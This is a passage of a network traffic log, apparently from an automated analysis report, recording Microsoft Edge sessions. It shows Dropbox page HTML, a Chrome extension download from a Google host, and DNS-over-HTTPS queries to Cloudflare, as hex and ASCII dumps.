2024-12-19 12:44:33 UTC	377	IN	Data Raw: 61 37 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6a 73 2f 63 6f 6d 6d 65 6e 74 73 32 2f 69 6e 64 65 78 2d 76 66 6c 51 64 76 55 48 75 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 63 36 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 Data Ascii: a7<link rel="preload" href="https://cfl.dropboxstatic.com/static/js/comments2/index-vflQdvUHu.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>c6<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/stat
2024-12-19 12:44:33 UTC	563	IN	Data Raw: 62 64 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 73 70 65 63 74 72 75 6d 2f 69 6e 64 65 78 2e 77 65 62 2d 76 66 6c 77 76 73 65 67 76 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 62 34 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f Data Ascii: bd<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/spectrum/index.web-vflwvsegv.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>b4<link rel="preload" href="https://cfl.dropboxstatic.com/
2024-12-19 12:44:33 UTC	397	IN	Data Raw: 63 38 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 61 62 75 73 65 2f 66 69 6e 67 65 72 70 72 69 6e 74 6a 73 5f 63 6f 6d 70 6f 6e 65 6e 74 2d 76 66 6c 54 69 7a 41 6b 66 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 62 39 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 Data Ascii: c8<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/abuse/fingerprintjs_component-vflTizAkf.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>b9<link rel="preload" href="https://cfl.dropbox
2024-12-19 12:44:33 UTC	813	IN	Data Raw: 62 31 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 6e 6f 74 69 66 79 2d 76 66 6c 34 6f 4a 76 32 53 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 36 65 0d 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 7a 61 65 35 46 4f 61 59 34 77 67 59 6a 36 2f 51 4d 49 47 6f 61 62 70 36 69 74 34 3d 22 3e 77 69 6e 64 6f 77 2e 43 53 50 5f 53 43 52 49 50 54 5f 4e 4f 4e 43 45 Data Ascii: b1<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/notify-vfl4oJv2S.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>6e<script nonce="zae5FOaY4wgYj6/QMIGoabp6it4=">window.CSP_SCRIPT_NONCE
2024-12-19 12:44:33 UTC	487	IN	Data Raw: 66 62 0d 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 7a 61 65 35 46 4f 61 59 34 77 67 59 6a 36 2f 51 4d 49 47 6f 61 62 70 36 69 74 34 3d 22 3e 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 76 61 72 20 73 74 61 72 74 20 3d 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 52 65 71 75 69 72 65 4c 6f 61 64 43 61 6c 6c 62 61 63 6b 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 45 44 49 53 4f 4e 5f 4d 45 54 52 49 43 53 5f 52 45 51 55 49 52 45 5f 4c 4f 41 44 5f 43 41 4c 4c 42 41 43 4b 5f 54 49 4d 45 20 3d 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 20 2d 20 73 74 61 72 74 3b 0a 20 20 20 20 7d 29 3b 0a 7d 29 28 29 3b 0a 3c 2f 73 63 72 69 70 74 3e Data Ascii: fb<script nonce="zae5FOaY4wgYj6/QMIGoabp6it4=">(function () { var start = performance.now(); window.addRequireLoadCallback(function() { window.EDISON_METRICS_REQUIRE_LOAD_CALLBACK_TIME = performance.now() - start; });})();</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49767	142.250.181.65	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:36 UTC	594	OUT	GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-19 12:44:37 UTC	563	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 154477 X-GUploader-UploadID: AFiumC7CZ0UZ67drcZI4imfdyK3crLxFmtx6SBomJC1Qfn8mJZzHNJmIxyaV4JMGqJIHwbMn X-Goog-Hash: crc32c=F5qq4g== Server: UploadServer Date: Wed, 18 Dec 2024 15:58:14 GMT Expires: Thu, 18 Dec 2025 15:58:14 GMT Cache-Control: public, max-age=31536000 Age: 74782 Last-Modified: Thu, 12 Dec 2024 15:58:04 GMT ETag: a01bfa19_322860b8_b556d942_61bcf747_a602b083 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-19 12:44:37 UTC	827	IN	Data Raw: 43 72 32 34 03 00 00 00 f3 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-12-19 12:44:37 UTC	1390	IN	Data Raw: d2 ff f8 fb 8f f1 b3 aa ea fc 5a ff 65 a8 3e ff f2 76 56 d5 8f bf fe b8 9e df fb 4a fe 2c 2f fd 58 f5 e3 8f bf ff eb c7 90 3f d4 25 97 fa fc ea 11 36 05 b0 0d c1 6d 23 05 75 5d 82 5a 95 8f c3 96 5b d7 73 d6 4d 5f 19 18 df 4a a0 b6 22 39 6c 91 fb 6c a3 f3 fd 2c 7c d5 8b 14 19 87 e6 72 d6 e7 d7 51 43 c1 e1 fb ef 9d ba 8a 34 3a 9f d4 f8 cb a1 77 6a e9 bf 9f 4f e7 c3 14 35 ef b7 d2 b7 fb ef 73 ca 6e f7 25 e1 ee 92 a5 e8 f2 fd 79 01 10 17 0f 63 e2 fc fd 91 b4 23 46 0c 8e b4 1b 1b e1 a3 2e ef a8 29 67 76 28 cd 10 21 53 ec 49 17 3e f2 20 dc 54 be b0 c5 23 dc 1d 83 eb b9 f4 a1 91 ef 0f db 83 da 5d 0b 80 ea c2 67 f3 11 c0 ee 08 4c 55 5a a8 16 40 1f 77 c3 5c 80 cd f9 b8 0f 1f 05 d8 fd 7b 9d df f7 16 4e b9 a7 7a 66 d5 6e 02 19 3a 72 f1 95 74 0c 72 0e cf 9c ab 3d a2 Data Ascii: Ze>vVJ,/X?%6m#u]Z[sM_J"9ll,\|rQC4:wjO5sn%yc#F.)gv(!SI> T#]gLUZ@w\{Nzfn:rtr=
2024-12-19 12:44:37 UTC	1390	IN	Data Raw: fb 40 b0 b4 75 cd a2 45 ec b5 f7 5f 79 7d 9c cd 6c 12 a9 d6 7b 85 01 32 0c 8b 32 98 4b 0f f9 85 0b e3 3c 40 38 52 9e 25 bb 7a 8f 3d a8 39 20 c4 e5 c3 0c b0 21 bf 16 af df 1f d6 7a ee 0d 99 c3 31 ea 95 12 c6 e4 1c 29 ba 47 74 ec a8 92 fb c2 95 5e e2 ca b0 a4 22 c6 26 76 ca 5e 73 34 d5 7c c4 e8 14 05 cb 7b 5f fe 1f 38 b8 6c f0 90 19 b5 92 81 f8 cc 81 4a 13 2f 1a 49 e0 78 71 23 7a 01 c2 0c 77 ba 14 2c e7 2c 3c 91 d1 4e bc 96 0a 3a 18 c8 cd 72 ef c9 b5 f8 8f da e7 6e b0 2f 3c 34 d7 ad f4 42 40 4c d8 a1 40 88 dc 18 8e 64 d6 1c e0 63 1e 05 cf 20 06 f7 3b 0b 70 9c 51 ec 56 dd fb 7d 11 7f 6b 6d ef 0d 1e 52 b0 4d ad e1 45 2a 6f 3e c1 ba 25 26 a2 d8 aa 43 9d 31 12 d1 9a b3 ce 3a 54 eb 81 1f 1b e6 0b 22 ca 2f 2d 08 8a 65 ef 77 c9 57 62 8f 5b 75 cd 1a e5 55 bd 63 44 Data Ascii: @uE_y}l{22K<@8R%z=9 !z1)Gt^"&v^s4\|{_8lJ/Ixq#zw,,<N:rn/<4B@L@dc ;pQV}kmRME*o>%&C1:T"/-ewWb[uUcD
2024-12-19 12:44:37 UTC	1390	IN	Data Raw: ae 14 17 a9 0a ca 56 6b be f7 64 1f 49 78 97 5a b7 31 fc 9e 6d a1 03 6f d9 e7 f7 53 08 01 c3 c5 b9 7a b9 76 b6 db 53 9b 34 0a 6b 4e 57 59 c3 5e 19 bf 00 5d 8b aa e8 60 1e 51 13 25 a6 e3 15 9d 7d ca 7d 96 c5 a9 08 a9 a5 b6 19 1f 60 d5 2f 62 7f 2f 56 f2 3d 57 f8 23 62 ea 11 f9 e1 a4 f7 19 e1 40 b8 32 a8 3b d1 0e 75 e4 ef 5e a5 8b 7d 02 3c b3 b0 c2 54 f7 e1 89 cc ec 28 67 76 59 d4 5a cb 31 52 23 4c d6 ce d6 b5 6f 6c b9 2b 3b 9d 71 b7 59 27 29 f2 cd 97 cc b0 23 c2 6d 96 10 c7 cf 94 88 f2 6e 6a 64 2b 51 dc e1 73 d9 1f ee 59 f3 bf e0 1f e0 37 0a e3 95 33 5e 91 a6 46 6d ea cf 64 89 31 b8 c4 90 37 6a 0a ad fa f8 c0 5c 14 73 a2 84 ce 1a f7 08 d6 da 7b b1 29 06 b5 cf 3b d4 47 7c d1 e7 3f 8a b5 cf 36 82 c8 ca 3a 7b 7f 72 db 3b 69 f1 47 d9 87 17 cd 7f 57 ce c3 98 bb Data Ascii: VkdIxZ1moSzvS4kNWY^]`Q%}}`/b/V=W#b@2;u^}<T(gvYZ1R#Lol+;qY')#mnjd+QsY73^Fmd17j\s{);G\|?6:{r;iGW
2024-12-19 12:44:37 UTC	1390	IN	Data Raw: fd bb 9e 52 c0 c6 ac 63 6d 6a 7d 63 a0 ee bf 61 fe 67 d7 ed a2 91 18 ea 83 e8 bc 84 3c f6 92 99 0e 39 52 fb 50 a4 8e 8d b9 50 b4 45 0e 0e e8 5c f4 48 13 5f 36 61 f7 d9 4a 58 d8 a4 e0 0f 1c 33 8b 34 04 b9 4e a3 a9 25 bf ca 6e d4 75 b6 3b e7 dc 7e 2b 83 f0 4b fc 4f d7 6f 8d 99 43 f4 2a 3b 16 67 fd f0 c0 81 0c 22 df 3e 68 cf fc 25 d5 a0 cd 23 dc 62 3a 6c 78 5f c7 cc 17 bd ce 53 9b 88 64 9b f2 5b 5f 98 71 3d 74 42 5f cb ac e5 6f 5a 85 bf 31 ff bd 96 74 6d fd 76 0d b8 3b 7f f7 5c 6e 6a 9f 9b 0e 4a ef 8f 11 b9 2d f8 fd b3 ca 10 dc fc ce f2 bf cd d3 72 cd a9 3a 3f 7e e8 ba 50 b9 e5 8c 85 66 3c 7d 7c cb b9 ae b1 2e d4 de 6e 77 cd fd f1 92 27 87 ff fc ac be ef 47 09 d4 77 ef e8 3d f4 6e 27 97 de a2 ef ff f7 ce 43 af 53 f3 cd ee 9a 5a 42 95 3d 1a be f9 ed d4 c0 dd Data Ascii: Rcmj}cag<9RPPE\H_6aJX34N%nu;~+KOoC*;g">h%#b:lx_Sd[_q=tB_oZ1tmv;\njJ-r:?~Pf<}\|.nw'Gw=n'CSZB=
2024-12-19 12:44:37 UTC	1390	IN	Data Raw: 73 3d 2b b0 5b de b2 1b ac ac c0 bf bd 49 06 60 0a 98 e5 c3 12 dc fa fd 5e 94 c6 93 21 f3 32 c4 3a e7 6a 98 8e e5 33 47 4c 6f 66 cf 66 8f 00 02 a7 37 5d af 9f 55 1c 7d 2f aa 0d 63 45 34 4d 9c 3f 0c 6f 34 66 3d 1f 97 c5 b3 39 14 7b e1 d5 d2 27 58 29 01 4d de d6 12 94 45 a0 b2 25 18 06 ec ff 89 3f ee 0f 01 1c 62 05 b0 8e 6f 05 55 2b 9a 4e 2b 15 bb 5a f9 59 a9 86 d5 aa 13 d9 6a a3 fa 56 e4 c4 f6 2d 76 5b 8b dd a8 15 f0 25 70 2a 41 38 f2 87 e9 80 f6 c5 43 a6 19 c3 34 71 63 28 94 f7 d5 3e a8 8d fb a7 40 9e 7a b1 db b3 2a 31 8c 90 2f 56 e5 7c e4 f7 bb 83 9f 23 9a 0d 8c ce 42 04 aa 0d 19 a0 6f d7 b2 9f 34 76 5f 6d 6e 6e d6 69 e4 4e a8 e8 02 80 b4 a5 20 5a 4b c7 e1 90 e1 cc 0d d0 9a 83 61 2e 2f 3c 5f c9 d6 50 bd 42 9b 7a 69 bf 37 7e c9 9f 3e a7 e6 e3 76 c6 ba 83 Data Ascii: s=+[I`^!2:j3GLoff7]U}/cE4M?o4f=9{'X)ME%?boU+N+ZYjV-v[%pA8C4qc(>@z1/V\|#Bo4v_mnniN ZKa./<_PBzi7~>v
2024-12-19 12:44:37 UTC	1390	IN	Data Raw: 3d 19 8d fb dd dd 4b 60 21 0e f5 cc 1f 33 7c 0c d2 d1 00 b1 81 5e 69 42 40 e6 1a a3 91 ad d6 e5 68 63 43 03 68 03 51 81 cd 15 5b 50 25 01 0d 0a a0 cc 37 ab d0 e0 70 db 64 42 b6 9f 01 12 e5 58 36 df 46 f2 c0 36 2c 9a 5a d0 f7 89 35 0a f9 9b 66 01 58 a1 26 0c 6a 4d 5c 4b 7b e9 58 7b 57 de c3 72 c3 01 d2 14 c3 96 8f 11 ca 88 39 7c 1d 63 60 72 6c d4 ef 71 f2 9c 49 0e 9c cd 6d 82 37 6e c9 82 9c 2f 0b 6e 24 69 39 f2 e2 78 83 7f 53 04 3d b6 a3 da b9 a8 71 16 77 6c c9 a0 89 56 73 5e 14 11 7c 7c 73 cb 7f 2a d9 f2 39 07 8f 6b 7d 56 ca c0 8d 61 7f 28 ec 36 ce 58 4c 31 40 12 ec 2c 6f 2c 2b 48 03 40 f2 e5 2b 62 36 46 17 48 75 0a bd e4 dc 22 b3 6e 9c 63 a5 86 71 d4 b8 31 30 23 af 19 81 78 83 e3 e9 5a 37 f8 9c 4b 22 f0 7a 80 ff ce 66 cd 63 e2 27 5d 67 e0 5c b9 05 91 82 Data Ascii: =K`!3\|^iB@hcChQ[P%7pdBX6F6,Z5fX&jM\K{X{Wr9\|c`rlqIm7n/n$i9xS=qwlVs^\|\|s*9k}Va(6XL1@,o,+H@+b6FHu"ncq10#xZ7K"zfc']g\
2024-12-19 12:44:37 UTC	1390	IN	Data Raw: fc c2 eb d3 07 f9 cb a9 80 c2 b8 ec 66 aa f4 9a a9 4f 23 9b 16 c3 b7 0c e9 94 d8 01 42 0d 39 01 c1 0c 00 05 bb 46 fd 6c 74 68 20 1a 73 50 b5 25 bf 9b 6b a1 76 bd ec 3e 5a 2f 34 82 c8 be 2c eb 72 e9 75 b9 81 5a f1 03 58 07 57 22 05 05 6e 85 8b 28 3e ed b7 c4 45 0d bd de ae 37 13 31 f9 80 3b 68 01 71 40 1d 01 b4 9c 4e 2d fe e0 0a c4 3b eb d6 d2 a0 03 02 2f 96 20 44 6d 8b bf 7c 02 6e 06 9b 90 bf 10 fe 39 81 a6 8e a4 2a f2 45 4e 66 1c a4 2b 79 31 d8 41 b0 51 04 2d 99 39 bc 77 2e 54 8b 76 6d a7 d8 02 27 86 e2 f3 dc 57 e3 03 ad 3a ec 69 93 fb 84 77 d0 7c da 4b 0a 2e 39 2d a6 36 d1 88 83 03 6c 5b fc 2f 79 5b 7d d8 a9 35 da cd 0e 88 f8 e2 03 a7 27 d3 a9 e0 0c 12 9c 09 82 d3 79 24 9a 2b cc 48 be 25 3a ab ff d0 19 81 59 31 2f 46 8c 01 89 b0 9a f6 ea aa b3 5c b7 89 Data Ascii: fO#B9Flth sP%kv>Z/4,ruZXW"n(>E71;hq@N-;/ Dm\|n9*ENf+y1AQ-9w.Tvm'W:iw\|K.9-6l[/y[}5'y$+H%:Y1/F\
2024-12-19 12:44:37 UTC	1390	IN	Data Raw: 41 d0 ce 03 89 61 57 3a e2 0c 48 31 96 53 3b 09 22 96 46 85 74 06 dc 97 14 6e 80 5c 17 6e 36 1a 8d 75 f8 7f 78 5c 36 a8 54 68 6b 72 c2 09 eb c5 52 50 48 b9 ff e5 a7 0f 83 fe 39 c0 51 2f 55 aa a1 dd 0a 37 5c c2 bc b6 5f 75 f5 b9 25 6c 88 f3 83 06 9b 56 b8 4a 65 5e 38 8b ca 20 06 d7 57 1a f5 b5 67 d3 e7 cf d7 5e bd b0 17 96 14 85 5e 3c 5b 03 09 6f 56 e4 52 22 10 cb 74 09 03 2f bd f9 23 7e 95 07 5a 94 28 41 b2 07 11 ae 60 79 c8 fb cd c2 c6 aa 3b ff 69 1b 7c 15 7c 8c 84 24 dc 79 fa e4 d1 a3 a5 ed fe e0 66 98 c6 c9 78 09 45 c6 ed ac 3f 9a 0c c3 a5 83 d4 1b b2 e1 cd d2 d6 64 9c f4 87 a3 da a3 a5 d3 0f 3b df 56 0f 52 3f ec 8d c2 d5 fd 00 d6 3f 8d d2 70 d8 5c da 1a 80 ee 12 ae ae d5 ea 8f 9e 3c a5 a3 07 57 cc bd 02 12 70 3b 73 2e 49 16 9f 4e 31 20 51 39 f9 af 05 Data Ascii: AaW:H1S;"Ftn\n6ux\6ThkrRPH9Q/U7\_u%lVJe^8 Wg^^<[oVR"t/#~Z(A`y;i\|\|$yfxE?d;VR??p\<Wp;s.IN1 Q9
2024-12-19 12:44:37 UTC	1390	IN	Data Raw: 87 13 fa f8 51 4e 97 0f d5 84 e9 74 fa 59 da 7c bf e3 19 63 e7 07 e3 a7 9c f0 cd e3 fc 08 b5 3a ce 6e 1e 74 71 58 2e 86 7b e3 3e 33 82 51 35 c1 d9 f3 e4 51 51 26 64 2c af 85 36 8b 9c 7b 7a b0 77 c8 75 fa 03 ca fd a0 c3 ce 9a 6e be f5 7a 7b 67 77 ef cd db fd 77 ef 0f 0e 8f 8e 3f 7c 3c 39 fd f4 f9 cb d7 6f df 7f 30 cf 87 a1 c4 49 7a 7e 91 75 7b fd c1 af e1 68 3c b9 bc ba be f9 5d 6f ac 3d 5b 7f fe e2 ef 97 af f2 63 f2 15 f4 d6 9e 55 aa 4f dd 8a 03 ff c2 3f ab 3f 5d fa b7 46 ff 56 3a 94 2b 20 dc 78 de 0a 95 8b c3 47 91 c8 67 63 2b 40 91 24 6f ca 6e 7d 87 bd d2 71 e7 b6 91 dc ac b1 6c 22 71 23 d8 4d ad 1f 0c cf f9 69 73 e6 2f 50 b6 99 79 ee 77 4a 8a 21 24 4f 4b 33 1e c8 1d fb f4 19 74 19 80 e6 f6 62 bd 83 59 19 a8 db d0 e5 f1 d2 79 f6 89 b5 56 54 75 9f c9 63 Data Ascii: QNtY\|c:ntqX.{>3Q5QQ&d,6{zwunz{gww?\|<9o0Iz~u{h<]o=[cUO??]FV:+ xGgc+@$on}ql"q#Mis/PywJ!$OK3tbYyVTuc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49775	172.64.41.3	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-19 12:44:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-19 12:44:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 19 Dec 2024 12:44:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f477c2d8bba78e7-EWR alt-svc: h3=":443"; ma=86400
2024-12-19 12:44:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0f 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49776	172.64.41.3	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-19 12:44:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-19 12:44:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 19 Dec 2024 12:44:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f477c2dc9268c65-EWR alt-svc: h3=":443"; ma=86400
2024-12-19 12:44:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 26 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom&A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49779	162.159.61.3	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
